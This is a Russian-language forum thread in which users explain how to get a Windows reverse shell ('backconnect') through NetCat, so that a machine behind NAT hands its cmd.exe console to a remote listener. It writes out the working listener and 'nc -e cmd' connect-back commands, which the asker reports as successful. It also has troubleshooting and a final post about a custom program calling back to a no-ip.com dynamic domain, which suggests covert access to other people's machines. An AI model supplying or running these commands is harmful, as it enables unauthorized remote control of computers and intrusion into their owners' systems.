![]() |
Windows и бекконнект через NetCat(nc.exe)
Очень интересует, как сделать бекконнект через NetCat с открытием удаленной консоли.
К примеру, есть компьютер с внешним IP (условно К1) И есть компьютер с IP адресом за NAT ( условно К2) Так вот на компьютере К2 надо поднять удалённую консоль (cmd.exe) для компьютера К1. У обоих компьютеров ось - Windows Я знаю что можно на внешнем IP адресе поднимать консоль, делается это не сложно: nc.exe -v -l -p 51102 -e cmd.exe А далее через Telnet (или Putty) спокойно коннектимся на порт 51102 и рулим консолью. Но реализуемо ли это для бекконнекта? Если такое можно сделать, то напишите пожалуйста параметры для обоих компьютеров, как такое можно реализовать. |
K1: nc -l -p 1234
K2: nc -e cmd [ip_K1] 1234 |
Вот спасибо, всё работает как надо.
А многие между прочем утверждали, что консольный бекконнект в винде невозможен. |
Да, при тестировании сейчас заметил, что после первой выполненной команды соединение разрывается.
Тестировал на 3 разных машинах, XP, Vista, Win7 везде одно и тоже. (это были клиенты) У меня сервер Win7 остаётся неизменным, в чём дело хз. Может каких аргументов не хватает типа -L (удержание какого то соединения, хз какого и про что) |
Странно, у меня все норм на ХР
Попробуй запустить сервер с опцией -v, так доп информация выводится. nc -l -v -p 1234 краткий список параметров: PHP код:
|
Ещё раз спасибо!
|
Либо по типу этого,неткат у нас выступает в роли сервера,а наша прожка в качестве клиента.Регим домен на no-ip.com,в нстройках указываем этот домен,на своей стороне открываем порт,что в настройках нашего файла,запускаем
у себя неткат в режиме прослушки nc.exe -l -n -v -p 145,а на другом конце нашу прожку и вуаля. Цитата:
|
| Время: 14:23 |